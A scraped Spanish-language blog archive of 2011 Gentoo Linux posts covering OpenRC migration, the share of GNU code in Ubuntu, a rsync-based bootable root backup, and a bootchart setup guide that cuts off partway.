<pre class="brush: shell">agd-desktop # echo "blacklist r8169" >> /etc/modprobe.d/blacklist.conf
agd-desktop # mkdir /etc/modules.autoload.d/
agd-desktop # echo "r8168" >> /etc/modules.autoload.d/kernel-2.6</pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com18tag:blogger.com,1999:blog-507892079964167031.post-22285475517800994732011-06-08T12:46:00.002+02:002011-06-23T23:59:39.933+02:00[Gentoo] Migrar de SysV baselayout 1 a OpenRC<a href="http://savannah.nongnu.org/projects/sysvinit">SysV Init</a> tradicionalmente ha sido el método estándar para iniciar y detener hosts Linux. Sin embargo han aparecido numerosas alternativas tales como Upstart de Ubuntu, systemd de Red Hat y OpenRC de Gentoo, entre otras muchas. En este post se hablará sobre el proceso de migración desde el esquema de inicio de Gentoo baselayout 1, basado en SysV Init, a OpenRC.<br />
<a name='more'></a><br />
<b>¿Qué es SysV Init?</b><br />
En el proceso de arranque de una máquina con Linux, tras iniciarse el kernel, el primer proceso que se ejecuta es el programa <a href="http://linux.die.net/man/8/init">init</a>. Linux adoptó el esquema SysV como método estándar para iniciar y detener servicios. SysV emplea el concepto de <i>niveles de ejecución</i> o <i>runlevels</i>. Cada nivel de ejecución tiene una lista de aplicaciones y servicios que deben ser iniciados o detenidos. Así, por ejemplo, al apagar el host, la herramienta <i>init</i> cambia el modo de ejecución a <i>0</i>, el cual está configurado para detener todas las aplicaciones y servicios. SysV posee siete modos de ejecución, del <i>0</i> al <i>6</i>, aunque cada distribución utiliza los modos de ejecución para diferentes fines.<br />
<br />
En los últimos años han aparecidos muchas alternativas al esquema SysV, algunas de las más destacadas son:<br />
<ul><li><a href="http://freedesktop.org/wiki/Software/systemd/">systemd</a>, usado por defecto en Fedora 15</li>
<li><a href="http://upstart.ubuntu.com/">Upstart</a>, usado por defecto en Fedora 9 a Fedora 14, <a href="http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/6/html/Technical_Notes/deployment.html">Red Hat 6</a> y Ubuntu 6.10 en adelante.</li>
<li><a href="http://roy.marples.name/projects/openrc">OpenRC</a>, es el nuevo sistema SysV usado por Gentoo, el cual reemplaza a baselayout 1.</li>
</ul><br />
El <i>sistema rc</i> original de Gentoo, baselayout 1, estaba escrito completamente en bash. Esto obligo a crear y enlazar estáticamente llamadas escritas en C, las cuales debían ser accedidas durante el inicio del sistema. <br />
<br />
En el diseño y desarrollo de baselayout 2 se determinó que baselayout solo proporcionara los archivos base, y que el <i>sistema rc</i> fuera un paquete independiente (OpenRC) escrito en C. OpenRC fue desarrollado principalmente por <a href="http://roy.marples.name/projects/self%22">Roy Marples</a>, y actualmente es mantenido por <a href="http://www.gentoo.org/proj/en/base/openrc/">Gentoo OpenRC Project</a>. <br />
<br />
<br />
<b>OpenRC</b><br />
OpenRC se estabilizó en Gentoo el 8 de mayo del 2011, sin embargo el <i>administrador de paquetes</i> de Gentoo (<a href="http://es.gentoo-wiki.com/wiki/Portage">Portage</a>), comenzó a informar a los usuarios de Gentoo unos días antes, conforme actualizaban el árbol de Portage, sobre el inminente cambio en el <i>sistema rc</i> de Gentoo hacia OpenRC. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105301628","slide"); return false">[+/-] Leer noticia</a><br />
<div id="201105301628" style="display: none;"><pre class="brush: shell">agd-desktop # eselect news read
2011-05-01-baselayout-update
Title Baselayout update
Author Christian Faulhammer <fauli@gentoo.org>
Author William Hubbs <williamh@gentoo.org>
Posted 2011-05-01
Revision 1
The baselayout package provides files which all systems must have in order to function properly. You are currently using version 1.x, which has several issues. The most significant of these is that the included init scripts are written entirely in bash, which makes them slow and not very flexible.
On 2011/05/08, you will see an update for sys-apps/baselayout to 2.x and a new package, sys-apps/openrc. It is recommended that you perform this update as soon as possible.
Please note, after these packages are emerged, it is __Absolutely_Critical__ that you immediately update your configuration files with dispatch-conf, etc-update or a similar tool then follow the steps in the migration guide located at the following URL. http://www.gentoo.org/doc/en/openrc-migration.xml
FAILURE TO FOLLOW ALL OF THESE STEPS WILL RESULT IN AN UNBOOTABLE SYSTEM! IF THIS SHOULD HAPPEN, YOU WILL NEED TO BOOT FROM A LIVE CD OR DVD, MOUNT YOUR ROOT FILE SYSTEM, CHROOT INTO THAT ENVIRONMENT AND FOLLOW THE ABOVE STEPS!</williamh@gentoo.org></fauli@gentoo.org></pre></div><br />
La noticia sobre la actualización insta a leer la <a href="http://www.gentoo.org/doc/es/openrc-migration.xml">Documentación Gentoo Linux -- Guía de Migración de Baselayout y OpenRC</a>, en la cual nos indica paso por paso como llevar a cabo la migración hacia baselayout 2 y OpenRC.<br />
<br />
Los pasos más importante son, <br />
<ul><li>Actualizar los archivos de configuración, a través de <a href="http://es.gentoo-wiki.com/wiki/Portage#etc-update">etc-update</a> o <a href="http://es.gentoo-wiki.com/wiki/Portage#dispatch-conf">dispatch-conf</a>. Si lo desea, puede <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105301729","slide"); return false">[+/-] Ver ejemplo</a> de los archivos de configuración que precise actualizar en mi sistema. <br />
<div id="201105301729" style="display: none;"><pre class="brush: shell">agd-desktop agd # etc-update
Scanning Configuration files...
Automerging trivial changes in: /etc/networks
The following is the list of files which need updating, each
configuration file is followed by a list of possible replacement files.
1) /etc/hosts (1)
2) /etc/profile (1)
3) /etc/protocols (1)
4) /etc/rsyslog.conf (1)
5) /etc/services (1)
6) /etc/sysctl.conf (1)
7) /etc/conf.d/bootmisc (1)
8) /etc/conf.d/consolefont (1)
9) /etc/conf.d/hostname (1)
10) /etc/conf.d/hwclock (1)
11) /etc/conf.d/keymaps (1)
12) /etc/conf.d/urandom (1)
13) /etc/logrotate.d/rsyslog (1)
Please select a file to edit by entering the corresponding number.
(don't use -3, -5, -7 or -9 if you're unsure what to do)
(-1 to exit) (-3 to auto merge all remaining files)
(-5 to auto-merge AND not use 'mv -i')
(-7 to discard all updates)
(-9 to discard all updates AND not use 'rm -i'):</pre></div></li>
<li>Revisar los scripts de los niveles de ejecución. En mi caso, tuve que añadir los siguientes servicios al nivel de ejecución boot, <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105301735","slide"); return false">[+/-] Ver servicios añadidos</a><div id="201105301735" style="display: none;"><pre class="brush: shell">rc-update add root boot
rc-update add procfs boot
rc-update add mtab boot
rc-update add fsck boot
rc-update add swap boot
rc-update add mdraid boot</pre></div></li>
</ul><br />
Saltar cualquiera de estos dos pasos impedirá que sus sistema inicie tras reiniciar, debiendo de arrancar desde un LiveCD para hacer chroot y reparar el problema. Si en el proceso algo falla, no puede iniciar su sistema y no sabe como arreglarlo; no se alarme. Inicie desde el LiveCD, realice un chroot al entorno Gentoo y reinstale el <i>sistema rc</i> mediante el comando <span class="Apple-style-span" style="color: blue;">emerge -avl baselayout openrc</span>. A continuación siga la guía de migración de gentoo a OpenRC y preste especial atención en la actualización de los archivos de configuración y en los script de los niveles de ejecución.<br />
<br />
<br />
<b>¿Qué efectos obtendrá al pasar de baselayout 1 a OpenRC?</b><br />
El más evidente es que su sistema estará actualizado, puesto que baselayout 1 será abandonado de forma progresiva en favor de OpenRC; sin embargo además experimentará un aumento de velocidad, más o menos notable, en el tiempo de arranque de su sistema.<br />
<br />
En mi caso, he experimentado un aumento en velocidad del 26%, es decir, mi sistema ha pasado de arrancar en 23 segundos con baselayout 1 a tan solo 17 segundos con OpenRC. A continuación os muestro los bootcharts de mi sistema con baselayout 1 y OpenRC:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><b>baselayout 1</b><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAzNMlqT26BAfaS5LvwmXigrGmGfnRbYLaXngxqfgZY8HVWpBrMKb8LKUaKyXNXye2PAIJ9SvTcXf0SHEplbCC3QSGdtLIm8dLdNgfr7GniBCVkjglldcLSzXaQqptVAOSm0T6uqJ2-X8/s1600/20110512+2049+baselayout+1.x+bootchart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAzNMlqT26BAfaS5LvwmXigrGmGfnRbYLaXngxqfgZY8HVWpBrMKb8LKUaKyXNXye2PAIJ9SvTcXf0SHEplbCC3QSGdtLIm8dLdNgfr7GniBCVkjglldcLSzXaQqptVAOSm0T6uqJ2-X8/s1600/20110512+2049+baselayout+1.x+bootchart.png" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"><b>OpenRC 1</b><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMYjpG8dDxk7Hu5FMgPEWp62Jkfmu-aak1XCqM4v77ocVF_swG5eRn5gHpQ20S9SgSUqFh117n1mL6MkRX9pB8xpGJYS9Rh0yvc8R6SKkw7sOyBc3EmkvTYWwgpU3wgHKeqNIv3WLdZVQ/s1600/20110519-2+baselayout+2.x+bootchart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMYjpG8dDxk7Hu5FMgPEWp62Jkfmu-aak1XCqM4v77ocVF_swG5eRn5gHpQ20S9SgSUqFh117n1mL6MkRX9pB8xpGJYS9Rh0yvc8R6SKkw7sOyBc3EmkvTYWwgpU3wgHKeqNIv3WLdZVQ/s1600/20110519-2+baselayout+2.x+bootchart.png" /></a></div><br />
PD: Si alguien usa Gentoo, y aun no ha migrado a OpenRC, puede <a href="http://www.makeinstall.es/2011/05/bootchart-visualizando-el-proceso-de.html">configurar bootchart en Gentoo</a> para generar <i>estadísticas</i> sobre el proceso de arranque de su sistema antes y después de usar OpenRC; si lo hace, que comente los resultados.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0tag:blogger.com,1999:blog-507892079964167031.post-8108604751787692582011-06-01T13:31:00.006+02:002011-06-24T00:01:23.140+02:00Cuanto de GNU tiene GNU/LinuxA través de <a href="http://lwn.net/Articles/445454/">LWN.net</a> he llegado al artículo <a href="http://pedrocr.net/text/how-much-gnu-in-gnu-linux">How much GNU is there in GNU/Linux? - Split Perspective</a>. En él, su autor indica que tras <i>analizar</i> las líneas de código del repositorio principal de Ubuntu 11.04 (Natty), tan solo el 8% del total se corresponde con el <a href="http://www.gnu.org/">Proyecto GNU</a>.<a name='more'></a><br />
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; text-align: right;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO2tnivwMVP5yhRHWz1j1jtIhY9XcIrfeCedXDjpwwl_5i9HDuDnMsO7akrg51frPDhZXR9KIh6rz4O_i9JxLjJdIqyt5A5AzED04W5ARlyza6fR7bRFaiWD75GehDey_r4_ArHYMRRK4/s1600/GNUTotalSplit.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO2tnivwMVP5yhRHWz1j1jtIhY9XcIrfeCedXDjpwwl_5i9HDuDnMsO7akrg51frPDhZXR9KIh6rz4O_i9JxLjJdIqyt5A5AzED04W5ARlyza6fR7bRFaiWD75GehDey_r4_ArHYMRRK4/s1600/GNUTotalSplit.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><i>Imagen de <a href="http://pedrocr.net/">Split Perspective by Pedro Côrte-Real</a> <a href="http://pedrocr.net/copyright">©Copyright</a></i></td></tr>
</tbody></table><br />
En su análisis, las líneas de código se distribuyen de acuerdo al gráfico de la derecha.<br />
<div style="text-align: center;"><br />
</div><div style="text-align: -webkit-auto;">A la vista de estos resultados, <i>a priori</i> podría parecer que el peso de GNU en <i>GNU/Linux</i> es muy limitado. Y al menos si hablamos de números brutos esta afirmación es correcta sin embargo es importante destacar la importancia de las contribuciones de GNU.</div><br />
Obviamente me refiero al <i>bloque</i> formado por <a href="http://www.gnu.org/s/libc/">glibc</a>, <a href="http://gcc.gnu.org/">GCC</a> e incluso <a href="http://www.gnu.org/software/gdb/">GDB</a>. Estas piezas son <i>claves</i> para el funcionamiento de cualquier sistema Linux. Coloco en cursiva la palabra «claves», porque en si bien existen alternativas, a día de hoy, ninguna está a la altura de las herramientas GNU.<br />
<br />
<b>glibc</b><br />
Los desarrolladores del kernel Linux hicieron un fork de glibc, al cual llamaron <b>Linux libc</b>, sin embargo con la publicación de glibc 2.0 abandonaron su fork y volvieron a usar glibc. Existen muchas otras alternativas, como puede ver a continuación, pero ninguna a la altura de libc.<br />
<br />
<ul><li><a href="http://en.wikipedia.org/wiki/Dietlibc">dietlibc</a> Usada en sistemas empotrados.</li>
<li><a href="http://en.wikipedia.org/wiki/UClibc">uClibc</a> Usada en sistemas empotrados.</li>
<li><a href="http://en.wikipedia.org/wiki/Klibc">klibc</a></li>
<li><a href="http://en.wikipedia.org/wiki/EGLIBC">EGLIBC</a>, abreviatura de Embedded GLIBC.</li>
<li><a href="http://en.wikipedia.org/wiki/Newlib">Newlib</a> Usada en sistemas empotrados.</li>
<li><a href="http://en.wikipedia.org/wiki/Bionic_(software)">Bionic</a> Usada en sistemas empotrados. Es la biblioteca C usada en Android.</li>
</ul><br />
Como podrá ver, todas las alternativas de libc están enfocadas a sistemas empotrados por lo que glibc hoy por hoy es la única ópcion para sistemas no empotrados. Si no lo fuera, hace tiempo que Linus hubiese descartado glibc ya que siempre ha sido muy crítico hacia glibc, tal y como se puede leer en el <a href="http://ecos.sourceware.org/ml/libc-alpha/2002-01/msg00079.html">mensaje de Linus Torvalds</a> en la lista de correos de libc.<br />
<br />
<b>GCC</b><br />
Los rivales de GCC se pueden resumir en uno, <a href="http://clang.llvm.org/">Clang</a>. Sin embargo Clang , hoy por hoy no puede suplantar a GCC. Es cierto que el avance de clang ha sido enorme e incluso puede compilar un kernel Linux funcional, tal y como puede leer en <a href="http://lwn.net/Articles/411654/">Clang builds a working 2.6.36 Kernel</a>; sin embargo aun no es capaz de suplir a GCC al compilar un kernel para producción puesto que Clang falla al compilar partes muy importante, aunque no críticas, tales como: SELinux, IPSec, Posix ACLs, eCrypt, IP6, Netfilter, Virtualización.<br />
<br />
A la vista de los resultados podemos concluir que las aportaciones del proyecto GNU en <i>GNU/Linux</i>, en números brutos, son muy limitadas; y si tenemos en cuenta que la mayoría de estas aportaciones pueden ser reemplazadas por otras herramientas, obtenemos que las única herramientas GNU imprescindibles en entornos <i>GNU/Linux</i> no empotrados son GCC y libc.<br />
<br />
<b>EDICIÓN [2011/06/01 20:45]:</b> Tal y como señala un <a href="http://softlibre.barrapunto.com/comments.pl?sid=87197&cid=1280445">pobrecito hablador</a> en <a href="http://softlibre.barrapunto.com/" >Barrapunto</a>, eglibc es un reemplazo de glibc y de hecho actualmente debian hace uso de eglibc en lugar de la biblioteca C de GNU glibc. Por tanto la única utilidad GNU que no puede ser reemplazada, a día de hoy, es GCC.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com8tag:blogger.com,1999:blog-507892079964167031.post-2817443689709657122011-05-26T12:16:00.003+02:002011-06-24T00:00:10.235+02:00Realizar una copia de seguridad del sistemaUn backup, o copia de seguridad, permité en caso de fallo o pérdida de datos restaurar los datos al estado de la fecha del backup. Existen muchas herramientas que realizan este tipo de tareas, pero sin duda alguna <a href="http://rsync.samba.org/">rsync</a> es la más utilizada. En este tutorial en lugar de hacer un backup de datos, se realizará un backup del sistema raíz (<i>/</i>), y a configurar su sistema para poder arrancar desde este backup en caso de que su sistema raíz principal presente problemas para arrancar.<a name='more'></a><br />
<fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">¿Qué es rsync?</a>.</li>
<li><a href="#2">Preparar la partición donde llevar a cabo el respaldo</a>.</li>
<li><a href="#3">El proceso de backup</a>.</li>
<li><a href="#4">Configurando el backup de /</a>.</li>
<li class="li2snd"><a href="#4-1">Editar fstab</a>.</li>
<li class="li2snd"><a href="#4-2">Añadir una entrada al grub</a>.</li>
</ul></fieldset><br />
<a name="1"><b>¿Qué es rsync?</b></a><br />
rsync es una herramienta de código abierto que ofrece transmisión eficiente de datos incrementales; se encuentra disponible bajo la licencia <a href="http://rsync.samba.org/GPL.html">GNU General Public License</a> y es mantenido por <a href="http://opencoder.net/">Wayne Davison</a>.<br />
<br />
El uso de rsync es sencillo: <span class="Apple-style-span" style="color: blue;">rsync [opciones] fuente destino</span>, sin embargo existen multitud de opciones. Si desea conocer todas las opciones disponibles de rsync, puede consultar el <a href="http://rsync.samba.org/ftp/rsync/rsync.html">man rsync</a>. A continuación se destacan algunas de las opciones más interesantes:<br />
<ul><li><b>-r</b>, <b>--recursive</b> Activa el modo recursivo en directorios.</li>
<li><b>-l</b>, <b>--links</b> Conserva los enlaces simbólicos.</li>
<li><b>-H</b>, <b>--hard-links</b> Conserva los enlaces relativos.</li>
<li><b>-E</b>, <b>--executability</b> Preserva el permiso de ejecución, si existe.</li>
<li><b>-p</b>, <b>--perms</b> Preserva todos los permisos.</li>
<li><b>-o</b>, <b>--owner</b> Preserva el propietario (rsync debe ser ejecutado como root).<br />
</li>
<li><b>-g</b>, <b>--group</b> Preserva el grupo.</li>
<li><b>-A</b>, <b>--acls</b> Preserva los permisos ACLs (implica -p)</li>
<li><b>-h</b>, <b>--human-readable</b> Genera una salida <i>amigable</i>.</li>
<li><b>-x</b>, <b>--one-file-system</b> Evita el salto entre distintos sistemas de archivos de forma recursiva.</li>
<li><b>-u</b>, <b>--update</b> Si en el destino existe el archivo, y el tamaño y fecha de modificación es la misma que la del origen, omite el archivo.</li>
<li><b>--stats</b> Al finalizar muestra un resumen. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105231654","slide"); return false">[+/-] Ver ejemplo</a><div id="201105231654" style="display: none;"><pre class="brush: shell">Number of files: 23
Number of files transferred: 22
Total file size: 37.51G bytes
Total transferred file size: 37.51G bytes
Literal data: 37.51G bytes
Matched data: 0 bytes
File list size: 2.51K
File list generation time: 0.001 seconds
File list transfer time: 0.000 seconds
Total bytes sent: 37.51G
Total bytes received: 433
sent 37.51G bytes received 433 bytes 62.16M bytes/sec
total size is 37.51G speedup is 1.00</pre></div></li>
<li><b>--progress</b> Muestra el proceso durante la transferencia. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105231736","slide"); return false">[+/-] Ver ejemplo</a><div id="201105231736" style="display: none;"><pre class="brush: shell">SW 01.mkv
1.68G 100% 60.80MB/s 0:00:26 (xfer#1, to-check=21/23)
SW 02.mkv
1.81G 100% 57.66MB/s 0:00:29 (xfer#2, to-check=20/23)
SW 03.mkv
32.77K 0% 46.18kB/s 10:27:12</pre></div></li>
</ul><br />
<br />
<a name="2"><b>Preparar la partición donde llevar a cabo el respaldo</b></a><br />
Deberá localizar una partición donde poder alojar la copia de seguridad de la raíz de su sistema de archivos. En nuestro caso usaremos una partición en /dev/sda, concretamente la partición /dev/sda3 que como podrá ver no se encuentra en uso por el sistema.<br />
<pre class="brush: shell">agd-desktop # fdisk -l /dev/sda
Disk /dev/sda: 60.0 GB, 60022480896 bytes
255 heads, 63 sectors/track, 7297 cylinders, 117231408 sectores en total
Units = sectores of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Identificador del disco: 0x1e910f12
Disposit. Inicio Comienzo Fin Bloques Id Sistema
/dev/sda1 * 2048 206847 102400 83 Linux
/dev/sda2 206848 55206847 27500000 83 Linux
/dev/sda3 55206848 110206847 27500000 83 Linux
agd-desktop # blkid | grep sda
/dev/sda2: UUID="31945820-1a0a-490e-87c0-346df947a0b2" TYPE="ext4"
/dev/sda1: UUID="5250bac4-0378-419a-84f7-e51f51926e5d" TYPE="ext2"</pre><br />
A continuación deberá asegurarse que la partición tiene el formato adecuado. En nuestro caso, la partición no está formateada, y por ello será formateada en ext4<br />
<pre class="brush: shell">agd-desktop # mkfs.ext4 -L system-root-backup /dev/sda3
mke2fs 1.41.12 (17-May-2010)
Etiqueta del sistema de ficheros=system-root-back
Tipo de SO: Linux
Tamaño del bloque=4096 (bitácora=2)
Tamaño del fragmento=4096 (bitácora=2)
Stride=0 blocks, Stripe width=0 blocks
1720320 nodos-i, 6875000 bloques
343750 bloques (5.00%) reservados para el superusuario
Primer bloque de datos=0
Número máximo de bloques del sistema de ficheros=4294967296
210 bloque de grupos
32768 bloques por grupo, 32768 fragmentos por grupo
8192 nodos-i por grupo
Respaldo del superbloque guardado en los bloques:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000
Escribiendo las tablas de nodos-i: hecho
Creating journal (32768 blocks): hecho
Escribiendo superbloques y la información contable del sistema de ficheros: hecho
Este sistema de ficheros se revisará automáticamente cada 21 montajes o
180 días, lo que suceda primero. Utilice tune2fs -c o -i para cambiarlo.</pre><br />
Por último debemos montar la partición para poder usarla. Para ello crearemos el directorio /mnt/sda3 donde montaremos /dev/sda3. Y por supuesto antes de seguir recuerde verificar que la partición ha sido correctamente montada en el lugar deseado, de lo contrario cuando ejecute rsync comenzará ha hacer una copia recursiva de si mismo hasta agotar todo el espacio disponible en la partición raíz.<br />
<pre class="brush: shell">agd-desktop / # mkdir /mnt/sda3
agd-desktop # mount /dev/sda3 /mnt/sda3/
agd-desktop # mount | grep sda3
/dev/sda3 on /mnt/sda3 type ext4 (rw)</pre><br />
<br />
<a name="3"><b>El proceso de backup</b></a><br />
Las opciones a utilizar son --recursive --links --hard-links --one-file-system --perms --owner --group --executability --human-readable --stats<br />
<pre class="brush: shell">agd-desktop # rsync -rlHxpogEh --stats / /mnt/sda3
Number of files: 121337
Number of files transferred: 98674
Total file size: 3.57G bytes
Total transferred file size: 3.44G bytes
Literal data: 3.44G bytes
Matched data: 0 bytes
File list size: 3.07M
File list generation time: 0.001 seconds
File list transfer time: 0.000 seconds
Total bytes sent: 3.45G
Total bytes received: 2.01M
sent 3.45G bytes received 2.01M bytes 47.59M bytes/sec
total size is 3.57G speedup is 1.04</pre><br />
<br />
<a name="4"><b>Configurando el backup de /</b></a><br />
En este punto tendrá una copia exacta de su sistema raíz. Por ello, si desea poder arrancar su sistema desde el backup deberá llevar a cabo algunas modificaciones:<br />
<blockquote class="pullquote"><u><b>Advertencia</b></u> <br />
Cuidado con editar /etc/fstab en lugar de /mnt/sda3/etc/fstab</blockquote><br />
<a name="4-1"><b>Editar fstab</b></a><br />
Deberá editar el fstab del backup para especificar la partición donde reside /, ya sea usando los punteros de dispositivo o la UUID del disco. En mi caso, al usar UUID, tuve que sustituir la UUID. A continuación podrá observar las modificaciones a realizar, en mi caso:<br />
<pre class="brush: shell">agd-desktop # diff -wB /etc/fstab /mnt/sda3/etc/fstab
33,34c33,34
< # SSD - / - 2º Particion
< UUID=31945820-1a0a-490e-87c0-346df947a0b2 / ext4
---
> # SSD - rootmirror - 3º Particion
> UUID=e1244bdc-9d2a-45ae-8d5c-6a7c91b1727c / ext4
39,40c39,40
< # SSD - rootmirror - 3º Particion
< #UUID=e1244bdc-9d2a-45ae-8d5c-6a7c91b1727c / ext4
---
> # SSD - / - 2º Particion
> #UUID=31945820-1a0a-490e-87c0-346df947a0b2 / ext4</pre><br />
<a name="4-2"><b>Añadir una entrada al grub</b></a><br />
Deberá añadir una nueva entrada al grub, la cual apunte a la partición de recuperación que ha creado. En mi caso,<br />
<pre class="brush: shell">nano /boot/grub/grub.conf
title Gentoo Linux 2.6.37-r4-V.0.2
root (hd0,0)
kernel /boot/kernel-2.6.37-r4-V.0.2 root=/dev/sda2
title Gentoo Linux 2.6.37-r4-V.0.2 ··--==MIRROR ROOT ==--··
root (hd0,0)
kernel /boot/kernel-2.6.37-r4-V.0.2 root=/dev/sda3
</pre><br />
Si ha realizado todos estos pasos, su sistema le debe permitir arrancar desde la partición principal y desde la <i>partición backup</i>. Si por algún motivo, un fallo o una actualización incorrecta, su sistema deja de funcionar, podrá arrancar desde la <i>partición backup</i> y tener un sistema completamente funcional pero congelado en la fecha en la que realizó el backup. Lo que le permitirá reparar la partición principal, o incluso en caso de desastre total, restaurarla a partir del backup llevando a cabo el proceso inverso aquí comentado.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com4tag:blogger.com,1999:blog-507892079964167031.post-39115862514648813682011-05-18T11:29:00.003+02:002011-06-24T00:00:15.487+02:00Bootchart: Visualizando el proceso de inicio de GNU/Linux<a href="http://www.bootchart.org/">Bootchart</a> es una herramienta que le permite visualizar gráficamente el proceso de inicio de su sistema GNU/Linux. Para ello Bootchart se ejecuta en segundo plano y comienza a recopilar información sobre el proceso de arranque, el tiempo ocupado por cada hilo, estadísticas de CPU y disco... Una vez el proceso de arranque finaliza, genera un gráfico en formato PNG, SVG o EPS con todos los datos recolectados. En este tutorial aprenderá a instalar y configurar Bootchart.<a name='more'></a><br />
<br />
<b>Configurar el kernel</b><br />
Debe compilar la opción <b>BSD Process Accounting</b> (<i>CONFIG_BSD_PROCESS_ACCT</i>) para que el kernel genere información sobre el proceso de arranque. Esta información, generada por el kernel, es almacenada en los archivos:<br />
<ul><li><b>/proc/stat</b> Estadísticas de uso de la CPU de usuario, sistema, E/S y tiempo de inactividad.</li>
<li><b>/proc/diskstats</b> Estadísticas de uso de disco y rendimiento.</li>
<li><b>/proc/[PID]/stat</b> Información sobre los procesos en ejecución: PID padre, estado del proceso, uso de CPU...</li>
</ul><br />
Si desea obtener una reconstrucción del árbol de procesos más exacta, deberá compilar la opción <b>BSD Process Accounting version 3 file format</b> <i>CONFIG_BSD_PROCESS_ACCT_V3</i>. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105122252","slide"); return false">[+/-] Mostrar opciones del kernel</a><br />
<div id="201105122252" style="display: none;"><fieldset class="fieldset-border"><legend class="fieldset-legend">.config - Linux/x86_64 2.6.37-gentoo-r4 Kernel Configuration</legend>[ ] General setup<br />
[*] BSD Process Accounting<br />
[*] BSD Process Accounting version 3 file format</fieldset></div><br />
En caso de no estar seguro si su kernel tiene activada estas opciones, puede averiguarlo simplemente <span class="Apple-style-span" style="color: blue;">grep -i acct /usr/src/linux/.config</span>. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105122300","slide"); return false">[+/-] Ver ejemplo</a><br />
<div id="201105122300" style="display: none;"><pre class="brush: shell">agd-desktop # grep -i acct /usr/src/linux/.config
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y</pre></div><br />
<br />
<b>Instalar Bootchart</b><br />
Podrá instalar el <a href="http://www.bootchart.org/download.html">paquete bootchart</a> desde los repositorios de su distribución y recuerde que si ha optado por compilar <b>BSD Process Accounting version 3 file format</b> debera instalar también <a href="https://savannah.gnu.org/projects/acct/">acct</a>.<br />
<br />
Si es usuario de gentoo recuerde activar la USE acct antes de instalar bootchart. Podrá hacer-lo ejecutando <span class="Apple-style-span" style="color: blue;">echo "app-benchmarks/bootchart acct" >> /etc/portage/package.use && emerge -av bootchart</span>. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201105130000","slide"); return false">[+/-] Ver ejemplo</a><br />
<div id="201105130000" style="display: none;"><pre class="brush: shell">agd-desktop # echo "app-benchmarks/bootchart acct" >> /etc/portage/package.use
agd-desktop # emerge -av bootchart
Calculating dependencies... done!
[ebuild N ] sys-process/acct-6.5.5 730 kB
[ebuild N ] virtual/pam-0 0 kB
[ebuild R ] app-benchmarks/bootchart-0.9-r2 USE="acct* java -debug -doc -source" 0 kB</pre></div><br />
<br />
<b>Configurar el sistema para que inicie bootchart</b><br />
Si usted es usuario de gentoo, deberá modificar el archivo<span class="Apple-style-span" style="color: #666666;"> /etc/conf.d/rc</span> o el <b>boot loader</b> en función del sistema de arranque (rc system) que use su máquina.<br />
<ul><li><b>baselayout 1.x</b> Deberá editar el fichero <span class="Apple-style-span" style="color: #666666;">/etc/conf.d/rc</span> y localizar la línea <b>RC_BOOTCHART="___"</b>. Deberá descomentar la línea, en caso necesario, e indicar <i>yes</i>. Deberá quedar tal y como se indica a continuación, <b>RC_BOOTCHART="yes"</b>.</li>
<li><b>baselayout 2.x</b> Deberá modificar el <b>boot loader</b> y añadir<span class="Apple-style-span" style="color: #666666;"> init=/sbin/bootchartd</span> a la línea del kernel. Deberá de quedar algo similar a,<span class="Apple-style-span" style="color: #666666;"> kernel /boot/kernel-2.6.37-r4-V.0.2 root=/dev/sda2 init=/sbin/bootchartd</span>. Esto puede hacerlo directamente en el grub.conf o bien iniciar un arranque interactivo, para ello deberá seleccionar una entrada en el menú de arranque, pulsar <b>e</b> para editarla, añadir <span class="Apple-style-span" style="color: #666666;">init=/sbin/bootchartd </span>al final de la línea del kernel y por último iniciar el proceso de arranque del sistema pulsando <b>b</b>.</li>
</ul><br />
Si no es usuario de gentoo, siga el método de <b>baselayout 2.x</b> mostrado anteriormente. <br />
<br />
<b>Configurar bootchart</b><br />
En el archivo de configuración de bootchart, <span class="Apple-style-span" style="color: #666666;">/etc/bootchard.conf</span>, deberá de ajustar al menos dos parámetros: PROCESS_ACCOUNTING="yes" y AUTO_RENDER="yes" aunque existen muchas más opciones como:<br />
